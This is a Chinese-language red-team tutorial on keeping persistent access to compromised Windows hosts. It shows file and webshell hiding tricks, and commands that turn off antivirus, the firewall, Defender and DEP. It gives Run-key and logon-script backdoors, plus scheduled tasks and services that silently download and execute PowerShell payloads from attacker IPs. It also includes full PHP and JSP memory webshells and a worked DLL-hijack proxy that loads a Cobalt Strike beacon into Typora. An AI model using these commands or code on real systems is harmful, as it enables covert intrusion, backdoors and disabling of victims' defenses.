Windows权限维持
文件隐藏
隐藏文件
使⽤Attrib +s +a +h +r命令就是把原本的⽂件夹增加了系统⽂件属性、存档⽂件属性、只读⽂件属性和隐藏⽂件属性。
attrib +s +a +h +r test #将test文件夹隐藏
这种方法在windows11上未成功,但是在windows8.1上面尝试成功,显示隐藏文件仍然是无法查看到,cmd dir
命令也未查看到
系统⽂件夹图标
通过对文件夹添加后缀,将文件夹伪装成我的电脑等图标,并且双击该文件夹也是和正常我的电脑一样
在使用该文件夹的内容时,如果是windows11去掉后缀即可,该文件夹就会变成正常的文件夹,
如果是window8.1或者其他版本的windows系统可以使用win rar去掉后缀,然后再打开就会变成正常的文件夹
如果没有win rar直接通过cmd命令行也可以
ren 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D} shell
后缀
我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
回收站.{645ff040-5081-101b-9f08-00aa002f954e}
拔号⽹络.{992CFFA0-F557-101A-88EC-00DD010CCC48}
打印机.{2227a280-3aea-1069-a2de-08002b30309d}
控制⾯板.{21ec2020-3aea-1069-a2dd-08002b30309d}
⽹上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}
ren C:\Users\32561\.config\shell 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D} #将shell文件夹改为我的电脑
需要注意的是该方法通过cmd的
dir
命令可以查看出后缀异常这些后缀本质上是注册表的键值,该方法也称CLSID伪装文件夹
原理及详细介绍:https://www.cnblogs.com/wifi/articles/2563013.html
畸形目录
在cmd中执行md test...\
命令会创建一个错误的文件夹,用户界面无法访问,并且也无法删除
md test...\ #创建畸形文件夹
rd /q /s test...\ #删除畸形文件夹
copy shell.asp test...\shell.asp #将shell.php 赋值到畸形文件夹内
/test.../shell.asp #url访问,如果未访问成功可以试试删除一个点试试
保留文件名
Windows 下不能够以下⾯这些字样来命名⽂件/⽂件夹,包括:aux,com1,com2,prn,con和nul等,但 是通过cmd下是可以创建此类⽂件夹的,使⽤copy命令即可实现
copy shell.php aux.php
利⽤系统保留⽂件名创建⽆法删除的webshell,这类⽂件⽆法在图形界⾯删除,只能在命令⾏下删除,然⽽在IIS 中,这种⽂件⼜是可以解析成功的
aux.asp图形界⾯拒绝访问 ⼩技巧:
- attrib 1.txt //查看⽂件属性
- attrib 1.txt -r -s //删除⽂件属性
- attrib +H +S 1.asp 改变⽂件属性
- 隐藏 attrib -H -S 1.asp
驱动级隐藏
使用Easy File Locker软件来实现隐藏文件,该软件可以设置密码,在删除,修改设置,重复安装都需要密码,在使用该工具隐藏文件的时候,无论是通过查看隐藏文件还是cmddir
查看文件列表都无法看到隐藏的文件,使用隐藏文件时需要知道该隐藏文件的完整路径
删除方法:
- 查询服务状态: sc qc xlkfs
- 停⽌服务: net stop xlkfs 服务停⽌以后,经驱动级隐藏的⽂件即可显现
- 删除服务: sc delete xlkfs
- 删除系统⽬录下⾯的⽂件,重启系统,确认服务已经被清理了。
更加详细的利用方式以及过程:
存在隐藏的特征
存在以下文件:
- c:\WINDOWS\xlkfs.dat
- c:\WINDOWS\xlkfs.dll
- c:\WINDOWS\xlkfs.ini
- c:\WINDOWS\system32\drivers\xlkfs.sys
关闭杀软
msf命令
run killav
关闭防火墙
netsh advfirewall set allprofiles state off
关闭Denfnder
Net stop windefend
命令关闭DEP(数据执⾏保护)
bcdedit.exe /set {current} nx Alwaysoff
组策略
在组策略中可以设置开机或关机时执行指定的脚本程序,进而实施对主机的长期控制。windows家庭版可能未开启组策略功能,需要执行该脚本,才能开启
@echo off
pushd "%~dp0"
dir /b C:\Windows\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientExtensions-Package~3*.mum >List.txt
dir /b C:\Windows\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientTools-Package~3*.mum >>List.txt
for /f %%i in ('findstr /i . List.txt 2^>nul') do dism /online /norestart /add-package:"C:\Windows\servicing\Packages\%%i"
pause
win+r 输入gpedit.msc
打开组策略
注册表
win+r输入regedit
进入注册表
注册表项可以从终端添加到运⾏键以实现持久性。这些键将包含对⽤户登录时将执⾏的实际负载的引⽤,已知使⽤此持久性⽅法的威胁因素和红队使⽤以下注册表位置
启动项注册表后门
在一般用户权限下,通常是将要执行的后门程序或脚本路径填写到如下注册表的键值中HKCU\Software\Microsoft\Windows\CurrentVersion\Run
,键名任意。普通权限即可运行
cmd命令
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\administrator\desktop\pentestlab.exe"
powershell命令
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" "Pentestlab" "C:\Users\administrator\desktop\pentestlab.exe" -Force
电脑重启之后将会自动执行指定的程序,除了上面这些指定的位置之外还有一些位置可以添加运行键
针对用户的位置
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
针对本地计算机的注册表
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
最好使用本地计算机注册表位置,而不是当前用户,因为有效负载将在每次系统启动时执行,而与使用系统身份验证的用户无关,HKEY_CURRENT_USER的改动不需要管理员权限,而更改HKEY_LOCAL_MACHINE却是需要管理员权限
不知道为什么,我使用系统文件夹图标隐藏,并且在该文件夹内放入后门程序,进而添加到启动项,但是未成功,有了解的大佬可以告诉我。
C:\Users\Anonymous>reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Pentestlab REG_SZ C:\Users\Anonymous\.openjfx\我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell.exe
logon scripts后门
根据知乎一篇文章介绍,此方法优先于杀毒软件,但是经过实践发现仍然能被杀软拦截,阻止上线,具体原因未知,不过还是写下来吧。
注册表位置:HKEY_CURRENT_USER\Environment
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Anonymous\.openjfx\我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell.exe"
文章参考:15种windows权限维持的方法 - 二师兄的文章 - 知乎 https://zhuanlan.zhihu.com/p/458219585
命令查看指定注册表的内容
reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
计划任务
通过计划任务可以在被控机上定时执行程序或者脚本。
以下命令是创建定时任务的Dos命令
#(X64) - On System Start 在系统开机时执行
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStylehidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-objectnet.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"/sc onstart /ru System
#(X64) - On User Idle (30mins) 用户空闲30分钟时执行
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStylehidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-objectnet.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"/sc onidle /i 30
#(X86) - On User Login 在用户登入时执行
schtasks /create /tn PentestLab /tr
"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStylehidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-objectnet.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"/sc onlogon /ru System
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-objectnet.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))"" /sc onlogon /ru System
#(X86) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStylehidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-objectnet.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"
/sc onstart /ru System
#(X86) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr
"c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStylehidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-objectnet.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"
/sc onidle /i 30
通过Gui方式创建计划任务:http://t.csdn.cn/TTwNS
新服务
将后门程序设置成服务进行自启动,或者将powershell后门脚本设置为自启动,这样可以实现无文件后门。windows创建服务需要管理员权限。
以下是几个例子:
sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""
sc description KeyName "Just For Test" #设置服务的描述字符串
sc config Name start= auto #设置这个服务为自动启动
net start Name
sc create pentestlab binpath= "cmd.exe /k C:\temp\pentestlab.exe" start="auto" #start="auto" 确保服务自动启动
obj="LocalSystem"
sc start pentestlab
#pentestlab是服务的名字,指定LocalSystem身份运行
New-Service -Name "pentestlab" -BinaryPathName "C:\temp\pentestlab.exe" -
Description "PentestLaboratories" -StartupType Automatic
sc start pentestlab
内存马
php内存马
<?php
ignore_user_abort(true);//设置与客户机断开是否会终止脚本的执行,这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
set_time_limit(0);//设置脚本最大执行时间,这里设置为0,即没有时间方面的限制
unlink(__FILE__);//删除文件本身,以起到隐蔽自身的作用
$file = '.bashrc.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .bashrc.php');
system('chmod 777 .bashrc.php');
usleep(0);
}
?>
Jsp内存马
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.mapper.MappingData" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.jasper.EmbeddedServletOptions" %>
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream in = process.getInputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.println(new String(b, 0, a));
}
in.close();
//从request对象中获取request属性
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request) requestF.get(request);
//获取MappingData
MappingData mappingData = req.getMappingData();
//获取Wrapper
Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
wrapperF.setAccessible(true);
Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);
//获取jspServlet对象
Field instanceF = wrapper.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
Servlet jspServlet = (Servlet) instanceF.get(wrapper);
//获取options中保存的对象
Field Option = jspServlet.getClass().getDeclaredField("options");
Option.setAccessible(true);
EmbeddedServletOptions op = (EmbeddedServletOptions) Option.get(jspServlet);
//设置development属性为false
Field Developent = op.getClass().getDeclaredField("development");
Developent.setAccessible(true);
Developent.set(op, false);
%>
DLL劫持
什么是DLL文件
百度百科:
DLL的全称是Dynamic Link Library, 中文叫做“动态链接文件”。在Windows操作系统中, DLL对于程序执行是非常重要的, 因为程序在执行的时候, 必须链接到DLL文件, 才能够正确地运行。而有些DLL文件可以被许多程序共用。因此, 程序设计人员可以利用DLL文件, 使程序不至于太过巨大。但是当安装的程序越来越多, DLL文件也就会越来越多, 如果当你删除程序的时候, 没有用的DLL文件没有被删除的话, 久而久之就造成系统的负担了。DLL文件和EXE文件同样可以由编译语言生成,但是DLL没有程序启动入口,所以DLL文件不可执行
举个例子:c语言在执行输出程序的时候需要引入头文件,而一个exe程序执行的时候也需要引入DLL文件,才能正常运行
DLL加载过程
Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1
- 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
- 系统目录(即%windir%system32);
- 16位系统目录(即%windir%system);
- Windows目录(即%windir%);
- 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
- PATH环境变量中的各个目录;
Windows7以上
系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:
计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
\KnownDLLs注册表项指定的DLL是已经被操作系统加载过的DLL,不会被应用程序搜索并加载
DLL劫持用到的工具
Process Monitor
Process Monitor 是一款由 Sysinternals 公司开发的包含强大的监视和过滤功能的高级 Windows 监视工具,可实时显示文件系统、注册表、进程/线程的活动。它结合了两个 Sysinternals 的旧版工具 Filemon 和 Regmon 的功能,并添加了一个包含丰富的和非破坏性的广泛增强过滤功能列表,全面的事件属性(例如会话 ID 和用户名称),可靠的进程信息,每个操作的完整线程、堆栈与集成符号支持,同时记录到一个文件中,以及更多。其独一无二的强大功能将使 Process Monitor 在您的系统故障排除和恶意软件检测中发挥重要的作用。
该工具可以查看应用程序都调用了那些DLL
火绒剑
自动查找工具
该工具需要指定出需要查找的应用程序,进而查看该程序是否存在可以利用的DLL文件
https://github.com/sensepost/rattler
Aheadlib注入工具
这个工具简单的说,就是你找到可以利用的dll文件,将该文件导入进入,这个工具会自动的为你生成一个cpp代码,这个cpp代码本质上是将原dll的函数名提取出来,进而引用进来,所以说原dll不要删除,但是你要修改一下,比如原名称为ffmpeg.dll
你要修改为ffmpegOrg.dll
,然后在vs编辑器里面打开并且生成cpp文件,后面会详细讲到具体步骤。
工具地址:https://bbs.kanxue.com/thread-224408.htm
DLL劫持
DLL劫持也称DLL注入,通常情况下,程序加载DLL文件并不会指定DLL位置,所以程序根据相应的系统规则来查找DLL文件,如上文"DLL加载过程"所述,DLL劫持本质上是通过DLL加载顺序的漏洞,伪造一个DLL文件,将其放置在应用程序目录内,该DLL文件包含了正常的DLL文件的功能,但是攻击者夹带私货,进而执行指定的后门程序,一般情况下,当相应的应用程序调用了被劫持后的DLL文件,就会执行后门程序。
DLL劫持条件
-
想要劫持的DLL不能在注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
中 -
其dll是EXE程序首先加载的DLL,而不是依赖其他DLL加载的
-
DLL确实被加载进内存中
可以通过Process Monitor或者火绒查看软件都进行了哪些DLL调用
实践
使用Cobalt Strike生成带有后门的DLL文件
创建监听器这里就不说了,知识库里面也有介绍,生成dll文件
然后保存下来即可,名字可以随意,但是后缀必须是dll,我将其命名为test.dll,后面进行使用
寻找可以劫持的DLL
以Typora为例,首先使用火绒剑查看Typora都调用了哪些DLL文件,发现一个很明显的ffmpeg.dll不是来自于系统文件,那就更不可能在注册表中出现了,由此可以猜测该dll可能存在被劫持的风险
使用Aheadlib生成cpp代码
使用Aheadlib打开原dll文件
将生成的cpp文件复制下来
生成DLL文件
打开vs编辑器,创建一个cpp项目,项目名称为ffmpeg
,删除无关文件(下图标记的文件)
点击项目——>ffmpeg属性——>c/c++——>代码生成——>运行库修改为多线程(/MT)
预编译头改为不使用预编译
将项目生成的代码删除,拷贝的cpp代码粘贴进去,粘贴进入之后,如果不加改动的话,还是和原来的dll文件功能一样,没有任何变化,需要手动添加一些执行的代码。
弹出计算器的代码
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
加载其他dll的代码
LoadLibraryA("test.dll"); //加载一个test.dll的文件
最终修改的代码如下,需要注意代码添加的位置
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include <Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:av_buffer_create=ffmpegOrg.av_buffer_create,@1")
#pragma comment(linker, "/EXPORT:av_buffer_get_opaque=ffmpegOrg.av_buffer_get_opaque,@2")
#pragma comment(linker, "/EXPORT:av_dict_count=ffmpegOrg.av_dict_count,@3")
#pragma comment(linker, "/EXPORT:av_dict_free=ffmpegOrg.av_dict_free,@4")
#pragma comment(linker, "/EXPORT:av_dict_get=ffmpegOrg.av_dict_get,@5")
#pragma comment(linker, "/EXPORT:av_dict_set=ffmpegOrg.av_dict_set,@6")
#pragma comment(linker, "/EXPORT:av_force_cpu_flags=ffmpegOrg.av_force_cpu_flags,@7")
#pragma comment(linker, "/EXPORT:av_frame_alloc=ffmpegOrg.av_frame_alloc,@8")
#pragma comment(linker, "/EXPORT:av_frame_clone=ffmpegOrg.av_frame_clone,@9")
#pragma comment(linker, "/EXPORT:av_frame_free=ffmpegOrg.av_frame_free,@10")
#pragma comment(linker, "/EXPORT:av_frame_unref=ffmpegOrg.av_frame_unref,@11")
#pragma comment(linker, "/EXPORT:av_free=ffmpegOrg.av_free,@12")
#pragma comment(linker, "/EXPORT:av_get_bytes_per_sample=ffmpegOrg.av_get_bytes_per_sample,@13")
#pragma comment(linker, "/EXPORT:av_get_cpu_flags=ffmpegOrg.av_get_cpu_flags,@14")
#pragma comment(linker, "/EXPORT:av_image_check_size=ffmpegOrg.av_image_check_size,@15")
#pragma comment(linker, "/EXPORT:av_init_packet=ffmpegOrg.av_init_packet,@16")
#pragma comment(linker, "/EXPORT:av_log_set_level=ffmpegOrg.av_log_set_level,@17")
#pragma comment(linker, "/EXPORT:av_malloc=ffmpegOrg.av_malloc,@18")
#pragma comment(linker, "/EXPORT:av_max_alloc=ffmpegOrg.av_max_alloc,@19")
#pragma comment(linker, "/EXPORT:av_new_packet=ffmpegOrg.av_new_packet,@20")
#pragma comment(linker, "/EXPORT:av_packet_alloc=ffmpegOrg.av_packet_alloc,@21")
#pragma comment(linker, "/EXPORT:av_packet_copy_props=ffmpegOrg.av_packet_copy_props,@22")
#pragma comment(linker, "/EXPORT:av_packet_free=ffmpegOrg.av_packet_free,@23")
#pragma comment(linker, "/EXPORT:av_packet_get_side_data=ffmpegOrg.av_packet_get_side_data,@24")
#pragma comment(linker, "/EXPORT:av_packet_unref=ffmpegOrg.av_packet_unref,@25")
#pragma comment(linker, "/EXPORT:av_rdft_calc=ffmpegOrg.av_rdft_calc,@26")
#pragma comment(linker, "/EXPORT:av_rdft_end=ffmpegOrg.av_rdft_end,@27")
#pragma comment(linker, "/EXPORT:av_rdft_init=ffmpegOrg.av_rdft_init,@28")
#pragma comment(linker, "/EXPORT:av_read_frame=ffmpegOrg.av_read_frame,@29")
#pragma comment(linker, "/EXPORT:av_rescale_q=ffmpegOrg.av_rescale_q,@30")
#pragma comment(linker, "/EXPORT:av_samples_get_buffer_size=ffmpegOrg.av_samples_get_buffer_size,@31")
#pragma comment(linker, "/EXPORT:av_seek_frame=ffmpegOrg.av_seek_frame,@32")
#pragma comment(linker, "/EXPORT:av_stream_get_first_dts=ffmpegOrg.av_stream_get_first_dts,@33")
#pragma comment(linker, "/EXPORT:av_stream_get_side_data=ffmpegOrg.av_stream_get_side_data,@34")
#pragma comment(linker, "/EXPORT:av_strerror=ffmpegOrg.av_strerror,@35")
#pragma comment(linker, "/EXPORT:avcodec_align_dimensions=ffmpegOrg.avcodec_align_dimensions,@36")
#pragma comment(linker, "/EXPORT:avcodec_alloc_context3=ffmpegOrg.avcodec_alloc_context3,@37")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_get=ffmpegOrg.avcodec_descriptor_get,@38")
#pragma comment(linker, "/EXPORT:avcodec_descriptor_next=ffmpegOrg.avcodec_descriptor_next,@39")
#pragma comment(linker, "/EXPORT:avcodec_find_decoder=ffmpegOrg.avcodec_find_decoder,@40")
#pragma comment(linker, "/EXPORT:avcodec_flush_buffers=ffmpegOrg.avcodec_flush_buffers,@41")
#pragma comment(linker, "/EXPORT:avcodec_free_context=ffmpegOrg.avcodec_free_context,@42")
#pragma comment(linker, "/EXPORT:avcodec_get_name=ffmpegOrg.avcodec_get_name,@43")
#pragma comment(linker, "/EXPORT:avcodec_open2=ffmpegOrg.avcodec_open2,@44")
#pragma comment(linker, "/EXPORT:avcodec_parameters_to_context=ffmpegOrg.avcodec_parameters_to_context,@45")
#pragma comment(linker, "/EXPORT:avcodec_receive_frame=ffmpegOrg.avcodec_receive_frame,@46")
#pragma comment(linker, "/EXPORT:avcodec_send_packet=ffmpegOrg.avcodec_send_packet,@47")
#pragma comment(linker, "/EXPORT:avformat_alloc_context=ffmpegOrg.avformat_alloc_context,@48")
#pragma comment(linker, "/EXPORT:avformat_close_input=ffmpegOrg.avformat_close_input,@49")
#pragma comment(linker, "/EXPORT:avformat_find_stream_info=ffmpegOrg.avformat_find_stream_info,@50")
#pragma comment(linker, "/EXPORT:avformat_free_context=ffmpegOrg.avformat_free_context,@51")
#pragma comment(linker, "/EXPORT:avformat_open_input=ffmpegOrg.avformat_open_input,@52")
#pragma comment(linker, "/EXPORT:avio_alloc_context=ffmpegOrg.avio_alloc_context,@53")
#pragma comment(linker, "/EXPORT:avio_close=ffmpegOrg.avio_close,@54")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
LoadLibraryA("test.dll");
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
点击生成->生成解决方案,即可将程序编译成dll文件
DLL劫持
将cs生成的dll和vs生成的dll放到应用程序的目录中,一般是安装目录,并且将原dll重命名为ffmpegOrg,这个重命名的名字是原dll名字加上Org
运行Typora,弹出计算器,cs上线,成功!
-
-